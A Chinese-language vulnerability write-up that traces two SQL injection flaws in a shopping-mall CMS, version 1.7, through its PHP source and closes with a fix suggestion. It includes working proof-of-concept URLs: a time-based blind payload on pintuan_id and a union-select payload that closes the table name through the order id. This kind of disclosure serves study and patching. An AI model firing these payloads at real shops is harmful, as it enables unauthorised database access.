前言

某商城cms1.7版本中中存在两个前台注入漏洞。话不多说,直接进入分析。

SQL注入①

分析

我们直接定位到漏洞存在点 module/index/cart.php :12-32 行处。

case 'pintuan':
        $product_id = intval($_g_id);
        $product_guid = intval($_g_guid);
        $product_num = intval($_g_num);
        if (!user_checkguest()) pe_jsonshow(array('result'=>false, 'show'=>'请先登录'));
        //检测库存      
        $product = product_buyinfo($product_guid);
        if (!$product['product_id']) pe_jsonshow(array('result'=>false, 'show'=>'商品下架或失效'));
        if ($product['product_num'] < $product_num) pe_jsonshow(array('result'=>false, 'show'=>"库存仅剩{$product['product_num']}件"));
        //检测虚拟商品
        if ($act == 'add' && $product['product_type'] == 'virtual') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车'));
        //检测拼团
        if ($act == 'add' && $product['huodong_type'] == 'pintuan') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车'));
        if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或结束'));
        $cart = $db->pe_select('cart', array('cart_act'=>'cart', 'user_id'=>$user_id, 'product_guid'=>$product_guid));
        if ($act == 'add' && $cart['cart_id']) {
            $sql_set['product_num'] = $cart['product_num'] + $product_num;
            if ($product['product_num'] < $sql_set['product_num']) pe_jsonshow(array('result'=>false, 'show'=>"库存仅剩{$product['product_num']}件"));       
            if (!$db->pe_update('cart', array('cart_id'=>$cart['cart_id']), $sql_set)) pe_jsonshow(array('result'=>false, 'show'=>'异常请重新操作'));  
            $cart_id = $cart['cart_id'];
        }

可以看到对进入"pintuan分支后",对参数进行了强制转整数。那这三个参数基本不用想了。

然后继续阅读代码,注意到

if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或结束'));

这里出现了$_g_pintuan_id这个参数。find一下发现代码并没有对他进行任何操作。那么这里可能是存在注入的。

我们定位到pintuan_check函数处。

function pintuan_check($huodong_id, $pintuan_id = 0) {
    global $db;
    if ($pintuan_id) {
        $info = $db->pe_select('pintuan', array('pintuan_id'=>$pintuan_id));
        if (!$info['pintuan_id']) return false;
        if (in_array($info['pintuan_state'], array('success', 'close'))) return false;
    }
    else {
        $info = $db->pe_select('huodong', array('huodong_id'=>$huodong_id));
        if (!$info['huodong_id']) return false;
        if ($info['huodong_stime'] > time() or $info['huodong_etime'] <= time()) return false;
    }
    return true;
}

可以看到这个函数同样没有对$pintuan_id做过滤,直接将它拼接到了pe_select这个函数中。

虽然pintuan_check只会返回ture或者false,不会返回数据,但是我们只需要他执行了sql语句就够了。

继续跟进到pe_select。

public function pe_select($table, $where = '', $field = '*')
    {
        //处理条件语句
        $sqlwhere = $this->_dowhere($where);
        return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
    }

此时pintuan_id的值被赋予到了where处。

然后调用了_dowhere进行处理。之后将处理过的语句直接拼接到了sql语句中。

跟进_dowhere看一下它是怎么处理的。

protected function _dowhere($where)
{
    if (is_array($where)) {
        foreach ($where as $k => $v) {
            $k = str_ireplace('`', '', $k);
            if (is_array($v)) {
                $where_arr[] = "`{$k}` in('".implode("','", $v)."')";
            }
            else {
                in_array($k, array('order by', 'group by')) ? ($sqlby .= " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'");
            }
        }
        $sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby;
    }
    else {
        $where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}";
    }
    return $sqlwhere;
}

首先pintuan_id在pintuan_check处被数组化。所以直接进入if分支。

将键名中的反引号替换为空。

之后就是正常的替换order by和设置where语句。

返回pe_select,跟进到sql_select中。

public function sql_select($sql)
    {
        $row = array();
        echo $sql;
        return $row = $this->fetch_assoc($this->query($sql));
    }

调用了query来处理sql语句。

继续跟进query函数

public function query($sql)
    {
        $this->sql[] = $sql;
        if ($this->link_type == 'mysqli') {
            $result = mysqli_query($this->link, $sql);
            if ($sqlerror = mysqli_error($this->link)) $this->sql[] = $sqlerror;
        }
        else {
            $result = mysql_query($sql, $this->link);
            if ($sqlerror = mysql_error($this->link)) $this->sql[] = $sqlerror;
        }
        return $result;
    }

调用了 mysqli_query语句查询。

那么pintan_id传递的整个流程就是

pintuan_check( )
db->pe_select( )
db->sql_select( )
db->query()
mysqli_query

构造poc

首先登陆一个用户,然后构造语句

pintuan_id=%27%20and%20if((1=1),sleep(5)),1)--%201

经过上述函数的处理后得到sql语句为

select * from `pe_pintuan` where `pintuan_id` = '' and if((1=1),sleep(5)),1)-- 1' limit 1

但是我们并没有成功延时,百思不得其解后在本地进行测试。

同样没有延时,突然想到 pe_pintuan这个表是空表,那么后面的sleep不会执行。

我们需要构造一个子查询来执行语句。

成功延时,然后在网站上进行注入尝试。

http://127.0.0.1/phpshe//index.php?mod=cart&act=pintuan&guid=1&id=1&num=&pintuan_id=%27%20and%20(if((1=1),(select%20*%20from%20(select%20sleep(5))a),1))--%201

成功注入。

SQL注入②

分析

第二个注入是一个union注入,注入点在include/plugin/payment/alipay/pay.php:34-35处

$order_id = pe_dbhold($_g_id);
$order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));

首先对$order_id做了过滤处理。

跟进看一下pe_dbhold的具体操作。

function pe_dbhold($str, $exc=array())
{
    if (is_array($str)) {
        foreach($str as $k => $v) {
            $str[$k] = in_array($k, $exc) ? pe_dbhold($v, 'all') : pe_dbhold($v);
        }
    }
    else {
        //$str = $exc == 'all' ? mysql_real_escape_string($str) : mysql_real_escape_string(htmlspecialchars($str));
        $str = $exc == 'all' ? addslashes($str) : addslashes(htmlspecialchars($str));
    }
    return $str;
}

对参数进行了转义。我们无法闭合where后面的引号,但是别着急,

再跟进一下order_table函数

function order_table($id) {
   if (stripos($id, '_') !== false) {
      $id_arr = explode('_', $id);
      return "order_{$id_arr[0]}";
   }
   else {
      return "order";    
   }
}

如果提交的参数中含有下划线,会返回下划线前的内容。

否则返回字符串order。

至于pe_select 我们已经分析过了,但是如果我们选择从table处注入,那么就不需要闭合单引号,使用反引号闭合table即可,那么就绕过了转义操作。

public function pe_select($table, $where = '', $field = '*')
    {
        //处理条件语句
        $sqlwhere = $this->_dowhere($where);
        return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
    }

构造poc

尝试构造一下联合查询注入语句

/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12--%20_

此时传入query的语句就是

select * from `pe_order_pay` where 1=1 union select user(),2,3,4,5,6,7,8,9,10,11,12--

成功绕过了转义,并且将数据打印了出来

总结

第一处注入点如果pintuan不是空表的话会很容易注入,存在原因也是没有对可控参数进行过滤。

第二处注入点已经做到了对参数的转义,但是由于table得值处仍然使用了这个参数来获取,并且将table直接拼接到了查询语句中,依旧造成了查询。

我认为这个cms存在这么多注入漏洞的主要原因是将安全防护函数与DB操作函数分开定义,总是会存在调用了DB操作函数时忘了调用过滤函数的情况。建议在pe_select函数等DB操作函数中加入过滤语句。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖